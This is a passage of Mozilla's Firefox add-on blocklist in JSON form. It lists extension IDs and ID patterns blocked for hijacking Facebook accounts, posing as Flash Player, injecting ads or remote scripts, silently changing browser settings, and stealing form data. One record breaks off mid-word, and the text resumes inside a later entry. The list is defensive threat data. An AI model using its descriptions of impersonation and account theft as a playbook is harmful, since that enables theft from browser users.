Tab”,”created”:”2014-10-30T14:52:09Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”8510e9e2-c7d8-90d0-a2ff-eb09293acc6e”,”last_modified”:1480349201854},{“guid”:”KSqOiTeSJEDZtTGuvc18PdPmYodROmYzfpoyiCr2@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1032″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1211172″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that hijacks Facebook accounts.”,”name”:”Video Player (malware)”,”created”:”2015-10-05T16:22:58Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”3d9188ac-235f-773a-52a2-261b3ea9c03c”,”last_modified”:1480349201504},{“guid”:”{849ded12-59e9-4dae-8f86-918b70d213dc}”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i708″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1047102″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed and changes homepage and search settings without the user’s consent, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Astromenda New Tab”,”created”:”2014-09-02T16:29:08Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”a319bfee-464f-1c33-61ad-738c52842fbd”,”last_modified”:1480349201453},{“guid”:”grjkntbhr@hgergerherg.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1018″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1208196″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that hijacks Facebook accounts.”,”name”:”GreenPlayer (malware)”,”created”:”2015-09-24T16:04:53Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”9c47d940-bdd9-729f-e32e-1774d87f24b5″,”last_modified”:1480349201425},{“guid”:”quick_start@gmail.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i588″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1011316″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on appears to be malware that is installed without user consent.”,”name”:”Quick Start (malware)”,”created”:”2014-06-03T15:53:15Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2affbebe-8776-3edb-28b9-237cb8b85f97″,”last_modified”:1480349201398},{“guid”:”/^(matchersite(pro(srcs?)?)?\\@matchersite(pro(srcs?)?)?\\.com)|((pro)?sitematcher(_srcs?|pro|site|sitesrc|-generic)?\\@(pro)?sitematcher(_srcs?|pro|site|sitesrc|-generic)?\\.com)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i668″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1039892″,”who”:”All Firefox users who have any of these add-ons installed. User who wish to continue using these add-ons can enable them in the Add-ons Manager.”,”why”:”This is a group of add-ons that are being distributed under multiple different IDs and likely being silently installed, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Site Matcher”,”created”:”2014-07-17T14:35:14Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”52e1a2de-ab35-be27-4810-334f681ccc4a”,”last_modified”:1480349201372},{“guid”:”{EEF73632-A085-4fd3-A778-ECD82C8CB297}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i165″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=806451″,”who”:”All Firefox users who have these add-ons installed.”,”why”:”These are malicious add-ons that are distributed with a trojan and negatively affect web browsing.”,”name”:”Codec-M (malware)”,”created”:”2012-10-29T16:41:06Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e5ecd02a-20ee-749b-d5cf-3d74d1173a1f”,”last_modified”:1480349201262},{“guid”:”firefox-extension@mozilla.org”,”prefs”:[],”schema”:1480349193877,”blockID”:”i688″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1049533″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious add-on that hides itself under the name Java_plugin, among others.”,”name”:”FinFisher (malware)”,”created”:”2014-08-06T17:13:00Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”98aca74a-69c7-9960-cccc-096a4a4adc6c”,”last_modified”:1480349201235},{“guid”:”jid1-vW9nopuIAJiRHw@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i570″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=990291″,”who”:”All Firefox users who have this add-on installed. Those who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed, reverts settings changes to enforce its own, and is also causing stability problems in Firefox, all in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”SmileysWeLove”,”created”:”2014-03-31T16:17:27Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”bf2abd66-f910-650e-89aa-cd1d5c2f8a89″,”last_modified”:1480349201204},{“guid”:”87aukfkausiopoawjsuifhasefgased278djasi@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1050″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1220461″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that poses as a video update and hijacks Facebook accounts.”,”name”:”Trace Video (malware)”,”created”:”2015-11-02T14:53:21Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”cb4cfac0-79c2-0fbf-206a-324aa3abbea5″,”last_modified”:1480349201157},{“guid”:”{e44a1809-4d10-4ab8-b343-3326b64c7cdd}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i451″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=916966″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>, manipulating settings without reverting them on removal. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”name”:”Entrusted”,”created”:”2013-09-18T16:33:57Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”ad5f53ed-7a43-cb1f-cbd7-41808fac1791″,”last_modified”:1480349201128},{“guid”:”{21EAF666-26B3-4A3C-ABD0-CA2F5A326744}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i620″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1024752″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is probably silently installed, and is causing significant stability issues for users, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”V-Bates”,”created”:”2014-06-12T15:27:00Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2d8833db-01a7-a758-080f-19e47abc54cb”,”last_modified”:1480349201096},{“guid”:”{1FD91A9C-410C-4090-BBCC-55D3450EF433}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i338″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=844979″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This extension overrides searc
cf5c-f88b7ad4b088″,”last_modified”:1480349196088},{“guid”:”webbooster@iminent.com”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i630″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=866943″,”who”:”All Firefox users who have any of these add-ons installed. Users who wish to continue using them can enable them in the Add-ons Manager.”,”why”:”These add-ons have been silently installed repeatedly, and change settings without user consent, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Iminent Minibar”,”created”:”2014-06-26T15:49:27Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”d894ea79-8215-7a0c-b0e9-be328c3afceb”,”last_modified”:1480349196032},{“guid”:”jid1-uabu5A9hduqzCw@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1016″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1208051″,”who”:”All users who have this add-on installed.”,”why”:”This add-on is injecting unwanted and unexpected advertisements into all web pages, and masking this behavior as ad-blocking in its code.”,”name”:”SpeedFox (malware)”,”created”:”2015-09-24T09:49:42Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”31397419-3dfa-9db3-f1aa-e812d4220669″,”last_modified”:1480349196001},{“guid”:”/^firefox@(jumpflip|webconnect|browsesmart|mybuzzsearch|outobox|greygray|lemurleap|divapton|secretsauce|batbrowse|whilokii|linkswift|qualitink|browsefox|kozaka|diamondata|glindorus|saltarsmart|bizzybolt|websparkle)\\.(com?|net|org|info|biz)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i548″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=937405″,”who”:”All Firefox users who have one or more of these add-ons installed. If you wish to continue using any of these add-ons, they can be enabled in the Add-ons Manager.”,”why”:”A large amount of add-ons developed by Yontoo are known to be silently installed and otherwise violate the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Yontoo add-ons”,”created”:”2014-01-30T15:06:01Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”bfaf3510-397e-48e6-cc4f-74202aaaed54″,”last_modified”:1480349195955},{“guid”:”firefox@bandoo.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i23″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=629634″,”who”:”Users of Bandoo version 5.0 for Firefox 3.6 and later.”,”why”:”This add-on causes a high volume of Firefox crashes.”,”name”:”Bandoo”,”created”:”2011-03-01T23:30:23Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”5.0″,”minVersion”:”5.0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”3.7a1pre”}]}],”id”:”bd487cf4-3f6a-f956-a6e9-842ac8deeac5″,”last_modified”:1480349195915},{“guid”:”5nc3QHFgcb@r06Ws9gvNNVRfH.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i372″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=875752″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware pretending to be the Flash Player plugin.”,”name”:”Flash Player 11 (malware)”,”created”:”2013-06-18T13:23:40Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”dc71fcf5-fae4-5a5f-6455-ca7bbe4202db”,”last_modified”:1480349195887},{“guid”:”/^(7tG@zEb\\.net|ru@gfK0J\\.edu)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i854″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=952255″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and performs unwanted actions, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”youtubeadblocker (malware)”,”created”:”2015-02-09T15:41:36Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”cfe42207-67a9-9b88-f80c-994e6bdd0c55″,”last_modified”:1480349195851},{“guid”:”{a7aae4f0-bc2e-a0dd-fb8d-68ce32c9261f}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i378″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=865090″,”who”:”All Firefox users who have installed this add-on.”,”why”:”This extension is malware that hijacks Facebook accounts for malicious purposes.”,”name”:”Myanmar Extension for Facebook (malware)”,”created”:”2013-06-18T15:58:54Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”30ecd9b9-4023-d9ef-812d-f1a75bb189b0″,”last_modified”:1480349195823},{“guid”:”a88a77ahjjfjakckmmabsy278djasi@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1034″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1211171″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that takes over Facebook accounts.”,”name”:”Fast Unlock (malware)”,”created”:”2015-10-05T16:28:48Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f801f112-3e8f-770f-10db-384349a36026″,”last_modified”:1480349195798},{“guid”:”crossriderapp5060@crossrider.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i228″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=810016″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently side-installed by other software, and it overrides user preferences and inserts advertisements in web content.”,”name”:”Savings Sidekick”,”created”:”2012-11-29T16:31:13Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”a37f76ac-7b77-b5a3-bac8-addaacf34bae”,”last_modified”:1480349195769},{“guid”:”/^(saamazon@mybrowserbar\\.com)|(saebay@mybrowserbar\\.com)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i672″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1011337″,”who”:”All Firefox users who have these add-ons installed. Users wishing to continue using these add-ons can enable them in the Add-ons Manager.”,”why”:”These add-ons are being silently installed, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Spigot Shopping Assistant”,”created”:”2014-07-22T15:13:57Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e072a461-ee5a-c83d-8d4e-5686eb585a15″,”last_modified”:1480349195347},{“guid”:”{b99c8534-7800-48fa-bd71-519a46cdc7e1}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i596″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1011325″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed, in violation with our <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”BrowseMark”,”created”:”2014-06-12T13:19:59Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f411bb0f-7c82-9061-4a80-cabc8ff45beb”,”last_modified”:1480349195319},{“guid”:”/^({94d62e35-4b43-494c-bf52-ba5935df36ef}|firefox@advanceelite\\.com|{bb7b7a60-f574-47c2-8a0b-4c56f2da9802})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i856″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1130323″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and performs unwanted actions, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”AdvanceElite (malware)”,”created”:”2015-02-09T15:51:11Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e3d52650-d3e2-4cef-71f7-e6188f56fe4d”,”last_modified”:1480349195286},{“guid”:”{458fb825-2370-4973-bf66-9d7142141847}”,”prefs”:[“app.update.auto”,”app.update.enabled”,”app.update.interval”,”app.update.url”],”schema”:1480349193877,”blockID”:”i1024″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1209588″,”who”:”All users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on hides itself in the Add-ons Manager, interrupts the Firefox update process, and reportedly causes other problems to users, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Web Shield”,”created”:”2015-09-29T09:25:27Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”32c5baa7-d547-eaab-302d-b873c83bfe2d”,”last_modified”:1480349195258},{“guid”:”{f2456568-e603-43db-8838-ffa7c4a685c7}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i778″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1073810″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems. It uses very unsafe practices to load its code, and leaks information of all web browsing activity. These are all violations of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Sup-SW”,”created”:”2014-11-07T13:53:13Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”93568fa2-0cb7-4e1d-e893-d7261e81547c”,”last_modified”:1480349195215},{“guid”:”{77BEC163-D389-42c1-91A4-C758846296A5}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i566″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=964594″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-on Manager.”,”why”:”This add-on is silently installed into Firefox, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”V-Bates”,”created”:”2014-03-05T13:20:54Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”080edbac-25d6-e608-abdd-feb1ce7a9a77″,”last_modified”:1480349195185},{“guid”:”helper@vidscrab.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1077″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1231010″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using the add-on can enable it in the Add-ons Manager.”,”why”:”This add-on injects remote scripts and injects unwanted content into web pages.”,”name”:”YouTube Video Downloader (from AddonCrop)”,”created”:”2016-01-14T14:32:53Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”36b2e1e0-5fda-bde3-db55-dfcbe24dfd04″,”last_modified”:1480349195157},{“guid”:”/^ext@WebexpEnhancedV1alpha[0-9]+\\.net$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i535″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=952717″,”who”:”All Firefox users who have this add-on installed. If you wish to continue using this add-on, it can be enabled in the Add-ons Manager.”,”why”:”This add-on is generally unwanted by users and uses multiple random IDs in violation of the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Webexp Enhanced”,”created”:”2014-01-09T11:22:19Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”c7d6a30d-f3ee-40fb-5256-138dd4593a61″,”last_modified”:1480349195123},{“guid”:”jid1-XLjasWL55iEE1Q@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i578″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1002037″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious add-on that presents itself as \”Flash Player\” but is really injecting unwanted content into Facebook pages.”,”name”:”Flash Player (malware)”,”created”:”2014-04-28T16:25:03Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”1e75b2f0-02fc-77a4-ad2f-52a4caff1a71″,”last_modified”:1480349195058},{“guid”:”{a3a5c777-f583-4fef-9380-ab4add1bc2a8}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i142″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=792132″,”who”:”Todos los usuarios de Firefox que instalaron la versi\u00f3n 4.2 del complemento Cuevana Stream.\r\n\r\nAll Firefox users who have installed version 4.2 of the Cuevana Stream add-on.”,”why”:”<strong>Espa\u00f1ol</strong>\r\nUna versi\u00f3n maliciosa del complemento Cuevana Stream (4.2) fue colocada en el sitio Cuevana y distribuida a muchos usuarios del sitio. Esta versi\u00f3n recopila informaci\u00f3n de formularios web y los env\u00eda a una direcci\u00f3n remota con fines maliciosos. Se le recomienda a todos los usuarios que instalaron esta versi\u00f3n que cambien sus contrase\u00f1as inmediatamente, y que se actualicen a la nueva versi\u00f3n segura, que es la 4.3.\r\n\r\n<strong>English</strong>\r\nA malicious version of the Cuevana Stream add-on (4.2) was uploaded to the Cuevana website and distributed to many of its users. This version takes form data and sends it to a remote location with malicious intent. It is recommended that all users who installed this version to update their passwords immediately, and update to the new safe version, version 4.3.\r\n\r\n”,”name”:”Cuevana Stream (malicious version)”,”created”:”2012-09-18T13:37:47Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”4.2″,”minVersion”:”4.2″,”targetApplication”:[]}],”id”:”91e551b9-7e94-60e2-f1bd-52f25844ab16″,”last_modified”:1480349195007},{“guid”:”{34712C68-7391-4c47-94F3-8F88D49AD632}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i922″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1173154″,”who”:”All Firefox users who have this add-on installed in Firefox 39 and above.\r\n”,”why”:”Certain versions of this extension are causing startup crashes in Firefox 39 and above.\r\n”,”name”:”RealPlayer Browser Record Plugin”,”created”:”2015-06-09T15:27:31Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”39.0a1″}]}],”id”:”dd350efb-34ac-2bb5-5afd-eed722dbb916″,”last_modified”:1480349194976},{“guid”:”PDVDZDW52397720@XDDWJXW57740856.com”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i846″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1128320″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and attempts to change user settings like the home page and default search, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Ge-Force”,”created”:”2015-02-06T15:03:39Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”c33e950c-c977-ed89-c86a-3be8c4be1967″,”last_modified”:1480349194949},{“guid”:”{977f3b97-5461-4346-92c8-a14c749b77c9}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i69″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=729356″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on adds apps to users’ accounts, with full access permissions, and sends spam posts using these apps, all without any consent from users.”,”name”:”Zuperface+”,”created”:”2012-02-22T16:41:23Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f105bdc7-7ebd-587c-6344-1533249f50b3″,”last_modified”:1480349194919},{“guid”:”discoverypro@discoverypro.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i582″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1004231″,”who”:”All Firefox users who have this add-on installed. If you wish to continue using this add-on, you can enabled it in the Add-ons Manager.”,”why”:”This add-on is silently installed by the CNET installer for MP3 Rocket and probably other software packages. This is in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Website Discovery Pro”,”created”:”2014-04-30T16:10:03Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”34eab242-6fbc-a459-a89e-0dc1a0b8355d”,”last_modified”:1480349194878},{“guid”:”jid1-bKSXgRwy1UQeRA@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i680″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=979856″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into user’s systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Trusted Shopper”,”created”:”2014-08-01T16:34:01Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f701b790-b266-c69d-0fba-f2d189cb0f34″,”last_modified”:1480349194851},{“guid”:”bcVX5@nQm9l.org”,”prefs”:[],”schema”:1480349193877,”blockID”:”i848″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1128266″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and performs unwanted actions, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”boomdeal”,”created”:”2015-02-09T15:21:17Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”f8d6d4e1-b9e6-07f5-2b49-192106a45d82″,”last_modified”:1480349194799},{“guid”:”aytac@abc.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i504″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947341″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious extension that hijacks users’ Facebook accounts.”,”name”:”Facebook Haber (malware)”,”created”:”2013-12-06T12:07:58Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”bfaf8298-dd69-165c-e1ed-ad55584abd18″,”last_modified”:1480349194724},{“guid”:”Adobe@flash.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i136″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=790100″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware posing as a legitimate Adobe product.”,”name”:”Adobe Flash (malware)”,”created”:”2012-09-10T16:09:06Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”47ac744e-3176-5cb6-1d02-b460e0c7ada0″,”last_modified”:1480349194647},{“guid”:”{515b2424-5911-40bd-8a2c-bdb20286d8f5}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i491″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=940753″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by making changes that can’t be easily reverted.”,”name”:”Connect DLC”,”created”:”2013-11-29T14:52:24Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”6d658443-b34a-67ad-934e-cbf7cd407460″,”last_modified”:1480349194580},{“guid”:”/^({3f3cddf8-f74d-430c-bd19-d2c9147aed3d}|{515b2424-5911-40bd-8a2c-bdb20286d8f5}|{17464f93-137e-4646-a0c6-0dc13faf0113}|{d1b5aad5-d1ae-4b20-88b1-feeaeb4c1ebc}|{aad50c91-b136-49d9-8b30-0e8d3ead63d0})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i516″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947478″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by making changes that can’t be easily reverted and being distributed under multiple add-on IDs.”,”name”:”Connect 